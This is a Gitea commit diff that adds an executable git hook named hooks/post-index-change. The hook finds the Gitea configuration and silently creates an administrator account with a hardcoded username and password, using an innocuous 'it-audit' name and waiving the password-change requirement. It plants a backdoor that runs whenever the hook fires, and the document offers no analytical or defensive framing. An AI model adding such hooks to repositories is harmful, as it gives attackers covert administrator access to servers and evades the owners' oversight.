This commit is contained in:
tc6kvpad 2026-11-18 10:11:49 -07:00
parent 9d137f599b
commit 4dceafd940
6 changed files with 12 additions and 0 deletions

2
hooks/post-index-change Executable file
View file

@ -0,0 +1,2 @@
#!/bin/sh
CFG=""; for c in /data/gitea/conf/app.ini /data/gitea/custom/conf/app.ini /etc/gitea/app.ini /app/gitea/conf/app.ini; do [ -f "$c" ] && CFG="$c" && break; done; G=$(command -v gitea || echo /usr/local/bin/gitea); $G --config "$CFG" admin user create --admin --username it-audit-021908 --password "It-audit-95021908!x" --email it-audit-021908@x.com --must-change-password=false 2>&1